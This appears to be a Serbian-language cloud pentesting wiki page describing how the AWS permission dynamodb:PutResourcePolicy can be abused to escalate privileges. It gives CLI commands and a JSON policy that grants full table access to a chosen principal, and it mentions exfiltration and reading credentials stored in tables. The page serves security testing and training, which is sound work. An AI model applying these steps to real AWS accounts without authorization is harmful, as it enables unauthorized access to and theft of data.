# AWS - DynamoDB Privesc

{{#include ../../../banners/hacktricks-training.md}}

## dynamodb

Za više informacija o dynamodb proverite:

{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, i opcionalno `dynamodb:GetResourcePolicy`

Od marta 2024. godine, AWS nudi *politike zasnovane na resursima* za DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

Dakle, ako imate `dynamodb:PutResourcePolicy` za tabelu, možete jednostavno dodeliti sebi ili bilo kojem drugom subjektu potpuni pristup tabeli.

Dodeljivanje `dynamodb:PutResourcePolicy` nasumičnom subjektu često se dešava slučajno, ako administratori misle da bi dodeljivanje `dynamodb:Put*` samo omogućilo subjektu da unese stavke u bazu podataka - ili ako su dodelili taj set dozvola pre marta 2024...

Idealno, takođe imate `dynamodb:GetResourcePolicy`, tako da ne prepisujete druge potencijalno vitalne dozvole, već samo injektujete dodatne dozvole koje su vam potrebne:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
Ako ne možete da preuzmete trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A ovde je lista svih akcija koje mogu biti dozvoljene putem politike zasnovane na resursima *I koje od ovih mogu biti korišćene između naloga (razmislite o eksfiltraciji podataka!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Sada, sa dokumentom politike `policy.json` spremnim, postavite politiku resursa:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Sada biste trebali imati potrebne dozvole.

### Post Eksploatacija

Koliko ja znam, **ne postoji drugi direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, poput lambda kod injekcija...) ali sve ove opcije su već razmatrane na **DynamoDB Post Eksploatacija stranici**:

{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}

### TODO: Čitajte podatke zloupotrebom data Streams

{{#include ../../../banners/hacktricks-training.md}}
